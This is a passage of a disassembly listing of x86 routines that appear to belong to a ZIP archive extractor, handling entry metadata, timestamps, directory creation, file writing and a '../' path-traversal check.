add esp, 8
cmp [ebp+arg_8], 1
jnz short loc_43019D
mov ecx, [ebp+arg_0]
push ecx
call dword_4330A0 ; GetFileType
mov [ebp+var_C], eax
cmp [ebp+var_C], 1
jz short loc_43019D
mov eax, 2000000h
jmp short loc_4301D6
; ---------------------------------------------------------------------------
loc_43019D: ; CODE XREF: sub_43012E+53j
; sub_43012E+66j
lea edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E589
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4301C3
mov eax, [ebp+var_4]
jmp short loc_4301D6
; ---------------------------------------------------------------------------
loc_4301C3: ; CODE XREF: sub_43012E+8Ej
mov eax, [ebp+var_8]
push eax
call sub_42ED22
add esp, 4
mov ecx, [ebp+var_10]
mov [ecx], eax
xor eax, eax
loc_4301D6: ; CODE XREF: sub_43012E+1Fj
; sub_43012E+6Dj ...
mov esp, ebp
pop ebp
retn 0Ch
sub_43012E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301DC proc near ; CODE XREF: sub_430867+B9p
; sub_430A42+1F5p ...
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1CC = dword ptr -1CCh
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = dword ptr -1BCh
var_1B8 = dword ptr -1B8h
var_1B4 = byte ptr -1B4h
var_1B3 = byte ptr -1B3h
var_1B2 = byte ptr -1B2h
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = word ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = word ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_24 = dword ptr -24h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1E8h
mov [ebp+var_1E8], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jl short loc_430201
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+4]
jl short loc_43020B
loc_430201: ; CODE XREF: sub_4301DC+13j
mov eax, 10000h
jmp loc_430861
; ---------------------------------------------------------------------------
loc_43020B: ; CODE XREF: sub_4301DC+23j
mov eax, [ebp+var_1E8]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_430228
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_42FF37
add esp, 4
loc_430228: ; CODE XREF: sub_4301DC+39j
mov eax, [ebp+var_1E8]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_1E8]
mov edx, [ebp+arg_0]
cmp edx, [ecx+134h]
jnz short loc_43026E
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_43026E
push 12Ch
mov eax, [ebp+var_1E8]
add eax, 8
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4318C4 ; memcpy
add esp, 0Ch
xor eax, eax
jmp loc_430861
; ---------------------------------------------------------------------------
loc_43026E: ; CODE XREF: sub_4301DC+68j
; sub_4301DC+6Ej
cmp [ebp+arg_0], 0FFFFFFFFh
jnz loc_43030B
mov edx, [ebp+var_1E8]
mov eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [eax+4]
mov [ecx], edx
mov eax, [ebp+arg_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+108h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+10Ch], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+110h], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+114h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+118h], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+11Ch], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+120h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+124h], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+128h], 0
xor eax, eax
jmp loc_430861
; ---------------------------------------------------------------------------
loc_43030B: ; CODE XREF: sub_4301DC+96j
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+10h]
jge short loc_43032C
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_42F473
add esp, 4
loc_43032C: ; CODE XREF: sub_4301DC+13Dj
; sub_4301DC+171j
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ecx+10h]
cmp edx, [ebp+arg_0]
jge short loc_43034F
mov eax, [ebp+var_1E8]
mov ecx, [eax]
push ecx
call sub_42F4E1
add esp, 4
jmp short loc_43032C
; ---------------------------------------------------------------------------
loc_43034F: ; CODE XREF: sub_4301DC+15Ej
push 0
push 0
push 0
push 0
push 104h
lea edx, [ebp+var_190]
push edx
lea eax, [ebp+var_58]
push eax
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_42F444
add esp, 20h
lea eax, [ebp+var_64]
push eax
lea ecx, [ebp+var_78]
push ecx
lea edx, [ebp+var_8C]
push edx
mov eax, [ebp+var_1E8]
mov ecx, [eax]
push ecx
call sub_42F6BB
add esp, 10h
mov [ebp+var_74], eax
cmp [ebp+var_74], 0
jz short loc_4303AB
mov eax, 700h
jmp loc_430861
; ---------------------------------------------------------------------------
loc_4303AB: ; CODE XREF: sub_4301DC+1C3j
push 0
mov edx, [ebp+var_78]
push edx
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ecx]
push edx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_4303D2
mov eax, 800h
jmp loc_430861
; ---------------------------------------------------------------------------
loc_4303D2: ; CODE XREF: sub_4301DC+1EAj
mov eax, [ebp+var_64]
push eax
call sub_431784
add esp, 4
mov [ebp+var_1C4], eax
mov ecx, [ebp+var_1C4]
mov [ebp+var_70], ecx
mov edx, [ebp+var_1E8]
mov eax, [edx]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_64]
push edx
push 1
mov eax, [ebp+var_70]
push eax
call sub_42E8A0
add esp, 10h
cmp eax, [ebp+var_64]
jz short loc_430431
mov ecx, [ebp+var_70]
mov [ebp+var_1C8], ecx
mov edx, [ebp+var_1C8]
push edx
call sub_43177E
add esp, 4
mov eax, 800h
jmp loc_430861
; ---------------------------------------------------------------------------
loc_430431: ; CODE XREF: sub_4301DC+231j
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [ecx+10h]
mov [edx], eax
lea ecx, [ebp+var_190]
push ecx
mov edx, [ebp+arg_4]
add edx, 4
push edx
call sub_4318B8 ; strcpy
add esp, 8
mov eax, [ebp+var_24]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
and ecx, 40000000h
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_88], cl
mov edx, [ebp+var_8]
and edx, 800000h
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_19C], dl
mov eax, [ebp+var_8]
and eax, 1
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_198], al
mov ecx, [ebp+var_8]
and ecx, 2
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_6C], cl
mov edx, [ebp+var_8]
and edx, 4
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_84], dl
mov eax, [ebp+var_8]
and eax, 10h
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_194], al
mov ecx, [ebp+var_8]
and ecx, 20h
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_4], cl
mov edx, [ebp+arg_4]
mov dword ptr [edx+108h], 80h
mov eax, [ebp+var_88]
and eax, 0FFh
test eax, eax
jnz short loc_430507
mov ecx, [ebp+var_194]
and ecx, 0FFh
test ecx, ecx
jz short loc_43051B
loc_430507: ; CODE XREF: sub_4301DC+319j
mov edx, [ebp+arg_4]
mov eax, [edx+108h]
or al, 10h
mov ecx, [ebp+arg_4]
mov [ecx+108h], eax
loc_43051B: ; CODE XREF: sub_4301DC+329j
mov edx, [ebp+var_4]
and edx, 0FFh
test edx, edx
jz short loc_43053D
mov eax, [ebp+arg_4]
mov ecx, [eax+108h]
or ecx, 20h
mov edx, [ebp+arg_4]
mov [edx+108h], ecx
loc_43053D: ; CODE XREF: sub_4301DC+34Aj
mov eax, [ebp+var_6C]
and eax, 0FFh
test eax, eax
jz short loc_43055E
mov ecx, [ebp+arg_4]
mov edx, [ecx+108h]
or edx, 2
mov eax, [ebp+arg_4]
mov [eax+108h], edx
loc_43055E: ; CODE XREF: sub_4301DC+36Bj
mov ecx, [ebp+var_19C]
and ecx, 0FFh
test ecx, ecx
jz short loc_43057E
mov edx, [ebp+var_198]
and edx, 0FFh
test edx, edx
jz short loc_430593
loc_43057E: ; CODE XREF: sub_4301DC+390j
mov eax, [ebp+arg_4]
mov ecx, [eax+108h]
or ecx, 1
mov edx, [ebp+arg_4]
mov [edx+108h], ecx
loc_430593: ; CODE XREF: sub_4301DC+3A0j
mov eax, [ebp+var_84]
and eax, 0FFh
test eax, eax
jz short loc_4305B7
mov ecx, [ebp+arg_4]
mov edx, [ecx+108h]
or edx, 4
mov eax, [ebp+arg_4]
mov [eax+108h], edx
loc_4305B7: ; CODE XREF: sub_4301DC+3C4j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_40]
mov [ecx+124h], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_3C]
mov [eax+128h], ecx
mov edx, [ebp+var_48]
and edx, 0FFFFh
mov [ebp+var_80], dx
mov eax, [ebp+var_48]
shr eax, 10h
and eax, 0FFFFh
mov [ebp+var_68], ax
lea ecx, [ebp+var_60]
push ecx
mov dx, [ebp+var_80]
push edx
mov ax, [ebp+var_68]
push eax
call dword_433090 ; DosDateTimeToFileTime
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+10Ch], edx
mov eax, [ebp+var_5C]
mov [ecx+110h], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+114h], edx
mov eax, [ebp+var_5C]
mov [ecx+118h], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_60]
mov [ecx+11Ch], edx
mov eax, [ebp+var_5C]
mov [ecx+120h], eax
mov [ebp+var_7C], 0
loc_430645: ; CODE XREF: sub_4301DC+4D4j
mov ecx, [ebp+var_7C]
add ecx, 4
cmp ecx, [ebp+var_64]
jnb loc_430817
mov edx, [ebp+var_70]
add edx, [ebp+var_7C]
mov al, [edx]
mov [ebp+var_1B4], al
mov ecx, [ebp+var_70]
add ecx, [ebp+var_7C]
mov dl, [ecx+1]
mov [ebp+var_1B3], dl
mov [ebp+var_1B2], 0
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
movsx ecx, byte ptr [eax+2]
mov [ebp+var_1A4], ecx
push offset aUt ; "UT"
lea edx, [ebp+var_1B4]
push edx
call sub_431914 ; strcmp
add esp, 8
test eax, eax
jz short loc_4306B2
mov eax, [ebp+var_1A4]
mov ecx, [ebp+var_7C]
lea edx, [ecx+eax+4]
mov [ebp+var_7C], edx
jmp short loc_430645
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: sub_4301DC+4C2j
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
movsx ecx, byte ptr [eax+4]
mov [ebp+var_1A0], ecx
mov edx, [ebp+var_1A0]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_1A8], dl
mov eax, [ebp+var_1A0]
and eax, 2
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_1B0], al
mov ecx, [ebp+var_1A0]
and ecx, 4
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_1AC], cl
mov edx, [ebp+var_7C]
add edx, 5
mov [ebp+var_7C], edx
mov eax, [ebp+var_1A8]
and eax, 0FFh
test eax, eax
jz short loc_430766
mov ecx, [ebp+var_70]
add ecx, [ebp+var_7C]
mov edx, [ecx]
mov [ebp+var_1B8], edx
mov eax, [ebp+var_7C]
add eax, 4
mov [ebp+var_7C], eax
mov ecx, [ebp+var_1B8]
push ecx
call sub_4300B2
add esp, 4
mov [ebp+var_1D0], eax
mov [ebp+var_1CC], edx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1D0]
mov [edx+11Ch], eax
mov ecx, [ebp+var_1CC]
mov [edx+120h], ecx
loc_430766: ; CODE XREF: sub_4301DC+53Bj
mov edx, [ebp+var_1B0]
and edx, 0FFh
test edx, edx
jz short loc_4307C3
mov eax, [ebp+var_70]
add eax, [ebp+var_7C]
mov ecx, [eax]
mov [ebp+var_1BC], ecx
mov edx, [ebp+var_7C]
add edx, 4
mov [ebp+var_7C], edx
mov eax, [ebp+var_1BC]
push eax
call sub_4300B2
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_1D4], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1D8]
mov [ecx+10Ch], edx
mov eax, [ebp+var_1D4]
mov [ecx+110h], eax
loc_4307C3: ; CODE XREF: sub_4301DC+598j
mov ecx, [ebp+var_1AC]
and ecx, 0FFh
test ecx, ecx
jz short loc_430817
mov edx, [ebp+var_70]
add edx, [ebp+var_7C]
mov eax, [edx]
mov [ebp+var_1C0], eax
mov ecx, [ebp+var_1C0]
push ecx
call sub_4300B2
add esp, 4
mov [ebp+var_1E0], eax
mov [ebp+var_1DC], edx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1E0]
mov [edx+114h], eax
mov ecx, [ebp+var_1DC]
mov [edx+118h], ecx
loc_430817: ; CODE XREF: sub_4301DC+472j
; sub_4301DC+5F5j
cmp [ebp+var_70], 0
jz short loc_430835
mov edx, [ebp+var_70]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_1E4]
push eax
call sub_43177E
add esp, 4
loc_430835: ; CODE XREF: sub_4301DC+63Fj
push 12Ch
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_1E8]
add edx, 8
push edx
call sub_4318C4 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1E8]
mov ecx, [ebp+arg_0]
mov [eax+134h], ecx
xor eax, eax
loc_430861: ; CODE XREF: sub_4301DC+2Aj
; sub_4301DC+8Dj ...
mov esp, ebp
pop ebp
retn 8
sub_4301DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430867 proc near ; CODE XREF: TEUm:004314FCp
; TEUm:0043157Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
call sub_42F59A
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4308D5
cmp [ebp+arg_8], 0
jz short loc_4308AC
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
loc_4308AC: ; CODE XREF: sub_430867+3Aj
cmp [ebp+arg_C], 0
jz short loc_4308CE
push 12Ch
push 0
mov edx, [ebp+arg_C]
push edx
call sub_4318B2 ; memset
add esp, 0Ch
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0FFFFFFFFh
loc_4308CE: ; CODE XREF: sub_430867+49j
mov eax, 500h
jmp short loc_430935
; ---------------------------------------------------------------------------
loc_4308D5: ; CODE XREF: sub_430867+34j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jz short loc_4308EC
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
call sub_42FF37
add esp, 4
loc_4308EC: ; CODE XREF: sub_430867+75j
mov ecx, [ebp+var_10]
mov dword ptr [ecx+4], 0FFFFFFFFh
mov edx, [ebp+var_10]
mov eax, [edx]
mov ecx, [eax+10h]
mov [ebp+var_8], ecx
cmp [ebp+arg_8], 0
jz short loc_43090F
mov edx, [ebp+arg_8]
mov eax, [ebp+var_8]
mov [edx], eax
loc_43090F: ; CODE XREF: sub_430867+9Ej
cmp [ebp+arg_C], 0
jz short loc_430933
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+var_8]
push edx
mov ecx, [ebp+var_10]
call sub_4301DC
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_430933
mov eax, [ebp+var_C]
jmp short loc_430935
; ---------------------------------------------------------------------------
loc_430933: ; CODE XREF: sub_430867+ACj
; sub_430867+C5j
xor eax, eax
loc_430935: ; CODE XREF: sub_430867+6Cj
; sub_430867+CAj
mov esp, ebp
pop ebp
retn 10h
sub_430867 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43093B proc near ; CODE XREF: sub_43093B+B4p
; sub_430A42+227p ...
var_214 = byte ptr -214h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 214h
cmp [ebp+arg_4], 0
jz short loc_430954
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_430959
loc_430954: ; CODE XREF: sub_43093B+Dj
jmp loc_430A3E
; ---------------------------------------------------------------------------
loc_430959: ; CODE XREF: sub_43093B+17j
mov edx, [ebp+arg_4]
mov [ebp+var_10C], edx
mov eax, [ebp+var_10C]
mov [ebp+var_4], eax
loc_43096B: ; CODE XREF: sub_43093B+62j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_43099F
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Fh
jz short loc_43098B
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_430994
loc_43098B: ; CODE XREF: sub_43093B+43j
mov ecx, [ebp+var_4]
mov [ebp+var_10C], ecx
loc_430994: ; CODE XREF: sub_43093B+4Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_43096B
; ---------------------------------------------------------------------------
loc_43099F: ; CODE XREF: sub_43093B+38j
mov eax, [ebp+var_10C]
mov [ebp+var_110], eax
mov ecx, [ebp+var_10C]
cmp ecx, [ebp+arg_4]
jz short loc_430A06
mov edx, [ebp+var_10C]
sub edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_214]
push ecx
call sub_422680
add esp, 0Ch
mov edx, [ebp+var_10C]
sub edx, [ebp+arg_4]
mov [ebp+edx+var_214], 0
lea eax, [ebp+var_214]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_43093B
add esp, 8
mov edx, [ebp+var_110]
add edx, 1
mov [ebp+var_110], edx
loc_430A06: ; CODE XREF: sub_43093B+79j
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_108]
push ecx
call sub_4318B8 ; strcpy
add esp, 8
mov edx, [ebp+var_110]
push edx
lea eax, [ebp+var_108]
push eax
call sub_4318D0 ; strcat
add esp, 8
push 0
lea ecx, [ebp+var_108]
push ecx
call dword_433030 ; CreateDirectoryA
loc_430A3E: ; CODE XREF: sub_43093B:loc_430954j
mov esp, ebp
pop ebp
retn
sub_43093B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430A42 proc near ; CODE XREF: sub_431620+58p
var_4264 = dword ptr -4264h
var_4260 = dword ptr -4260h
var_425C = dword ptr -425Ch
var_4258 = byte ptr -4258h
var_4251 = byte ptr -4251h
var_4250 = byte ptr -4250h
var_424F = byte ptr -424Fh
var_414C = dword ptr -414Ch
var_4148 = dword ptr -4148h
var_4144 = dword ptr -4144h
var_4140 = dword ptr -4140h
var_413C = dword ptr -413Ch
var_4138 = dword ptr -4138h
var_4134 = dword ptr -4134h
var_4130 = dword ptr -4130h
var_412C = byte ptr -412Ch
var_4128 = byte ptr -4128h
var_4024 = dword ptr -4024h
var_4020 = byte ptr -4020h
var_4018 = byte ptr -4018h
var_4010 = byte ptr -4010h
var_4000 = byte ptr -4000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 4264h
call sub_431860
push ebx
push esi
mov [ebp+var_4260], ecx
cmp [ebp+arg_C], 3
jz short loc_430A73
cmp [ebp+arg_C], 2
jz short loc_430A73
cmp [ebp+arg_C], 1
jz short loc_430A73
mov eax, 10000h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430A73: ; CODE XREF: sub_430A42+19j
; sub_430A42+1Fj ...
cmp [ebp+arg_C], 3
jnz loc_430B9E
mov eax, [ebp+var_4260]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+4]
jz loc_430B34
mov edx, [ebp+var_4260]
cmp dword ptr [edx+4], 0FFFFFFFFh
jz short loc_430AAC
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42FF37
add esp, 4
loc_430AAC: ; CODE XREF: sub_430A42+57j
mov edx, [ebp+var_4260]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+4]
jl short loc_430AD3
mov eax, 10000h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430AD3: ; CODE XREF: sub_430A42+85j
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+10h]
jge short loc_430AF4
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42F473
add esp, 4
loc_430AF4: ; CODE XREF: sub_430A42+9Fj
; sub_430A42+D3j
mov edx, [ebp+var_4260]
mov eax, [edx]
mov ecx, [eax+10h]
cmp ecx, [ebp+arg_0]
jge short loc_430B17
mov edx, [ebp+var_4260]
mov eax, [edx]
push eax
call sub_42F4E1
add esp, 4
jmp short loc_430AF4
; ---------------------------------------------------------------------------
loc_430B17: ; CODE XREF: sub_430A42+C0j
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_42F940
add esp, 4
mov eax, [ebp+var_4260]
mov ecx, [ebp+arg_0]
mov [eax+4], ecx
loc_430B34: ; CODE XREF: sub_430A42+47j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_42FB02
add esp, 0Ch
mov [ebp+var_4140], eax
cmp [ebp+var_4140], 0
jle short loc_430B66
mov eax, 600h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430B66: ; CODE XREF: sub_430A42+118j
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42FF37
add esp, 4
mov edx, [ebp+var_4260]
mov dword ptr [edx+4], 0FFFFFFFFh
cmp [ebp+var_4140], 0
jnz short loc_430B94
xor eax, eax
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430B94: ; CODE XREF: sub_430A42+149j
mov eax, 5000000h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430B9E: ; CODE XREF: sub_430A42+35j
mov eax, [ebp+var_4260]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_430BBB
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_42FF37
add esp, 4
loc_430BBB: ; CODE XREF: sub_430A42+166j
mov eax, [ebp+var_4260]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_4260]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+4]
jl short loc_430BE2
mov eax, 10000h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430BE2: ; CODE XREF: sub_430A42+194j
mov ecx, [ebp+var_4260]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+10h]
jge short loc_430C03
mov ecx, [ebp+var_4260]
mov edx, [ecx]
push edx
call sub_42F473
add esp, 4
loc_430C03: ; CODE XREF: sub_430A42+1AEj
; sub_430A42+1E2j
mov eax, [ebp+var_4260]
mov ecx, [eax]
mov edx, [ecx+10h]
cmp edx, [ebp+arg_0]
jge short loc_430C26
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42F4E1
add esp, 4
jmp short loc_430C03
; ---------------------------------------------------------------------------
loc_430C26: ; CODE XREF: sub_430A42+1CFj
lea edx, [ebp+var_412C]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4260]
call sub_4301DC
mov ecx, [ebp+var_4024]
and ecx, 10h
test ecx, ecx
jz short loc_430C78
cmp [ebp+arg_C], 1
jnz short loc_430C56
xor eax, eax
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430C56: ; CODE XREF: sub_430A42+20Bj
lea edx, [ebp+var_4128]
push edx
mov eax, [ebp+var_4260]
add eax, 138h
push eax
call sub_43093B
add esp, 8
xor eax, eax
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430C78: ; CODE XREF: sub_430A42+205j
cmp [ebp+arg_C], 1
jnz short loc_430C8C
mov ecx, [ebp+arg_4]
mov [ebp+var_4134], ecx
jmp loc_430DFE
; ---------------------------------------------------------------------------
loc_430C8C: ; CODE XREF: sub_430A42+23Aj
mov edx, [ebp+arg_4]
mov [ebp+var_4148], edx
mov eax, [ebp+var_4148]
mov [ebp+var_4144], eax
loc_430CA1: ; CODE XREF: sub_430A42+2A6j
mov ecx, [ebp+var_4144]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_430CEA
mov eax, [ebp+var_4144]
movsx ecx, byte ptr [eax]
cmp ecx, 2Fh
jz short loc_430CCA
mov edx, [ebp+var_4144]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_430CD9
loc_430CCA: ; CODE XREF: sub_430A42+278j
mov ecx, [ebp+var_4144]
add ecx, 1
mov [ebp+var_4148], ecx
loc_430CD9: ; CODE XREF: sub_430A42+286j
mov edx, [ebp+var_4144]
add edx, 1
mov [ebp+var_4144], edx
jmp short loc_430CA1
; ---------------------------------------------------------------------------
loc_430CEA: ; CODE XREF: sub_430A42+26Aj
mov eax, [ebp+var_4148]
cmp eax, [ebp+arg_4]
jz loc_430DDA
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_4250]
push edx
call sub_4318B8 ; strcpy
add esp, 8
mov eax, [ebp+var_4148]
sub eax, [ebp+arg_4]
mov [ebp+eax+var_4251], 0
movsx ecx, [ebp+var_4250]
cmp ecx, 2Fh
jz short loc_430D4D
movsx edx, [ebp+var_4250]
cmp edx, 5Ch
jz short loc_430D4D
movsx eax, [ebp+var_424F]
cmp eax, 3Ah
jz short loc_430D4D
mov [ebp+var_4264], 0
jmp short loc_430D57
; ---------------------------------------------------------------------------
loc_430D4D: ; CODE XREF: sub_430A42+2E5j
; sub_430A42+2F1j ...
mov [ebp+var_4264], 1
loc_430D57: ; CODE XREF: sub_430A42+309j
mov cl, byte ptr [ebp+var_4264]
mov byte ptr [ebp+var_414C], cl
mov ebx, [ebp+var_414C]
and ebx, 0FFh
push offset a__ ; "../"
lea edx, [ebp+var_4250]
push edx
call sub_431730
add esp, 8
mov esi, eax
neg esi
sbb esi, esi
neg esi
push offset a___0 ; "..\\"
lea eax, [ebp+var_4250]
push eax
call sub_431730
add esp, 8
neg eax
sbb eax, eax
neg eax
or esi, eax
or ebx, esi
mov byte ptr [ebp+var_414C], bl
mov ecx, [ebp+var_414C]
and ecx, 0FFh
test ecx, ecx
jnz short loc_430DDA
lea edx, [ebp+var_4250]
push edx
mov eax, [ebp+var_4260]
add eax, 138h
push eax
call sub_43093B
add esp, 8
loc_430DDA: ; CODE XREF: sub_430A42+2B1j
; sub_430A42+37Bj
push 0
mov ecx, [ebp+var_4024]
push ecx
push 2
push 0
push 0
push 40000000h
mov edx, [ebp+arg_4]
push edx
call dword_433018 ; CreateFileA
mov [ebp+var_4134], eax
loc_430DFE: ; CODE XREF: sub_430A42+245j
cmp [ebp+var_4134], 0FFFFFFFFh
jnz short loc_430E11
mov eax, 200h
jmp loc_430F50
; ---------------------------------------------------------------------------
loc_430E11: ; CODE XREF: sub_430A42+3C3j
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42F940
add esp, 4
mov byte ptr [ebp+var_4138], 0
loc_430E29: ; CODE XREF: sub_430A42:loc_430EA5j
push 4000h
lea edx, [ebp+var_4000]
push edx
mov eax, [ebp+var_4260]
mov ecx, [eax]
push ecx
call sub_42FB02
add esp, 0Ch
mov [ebp-4254h], eax
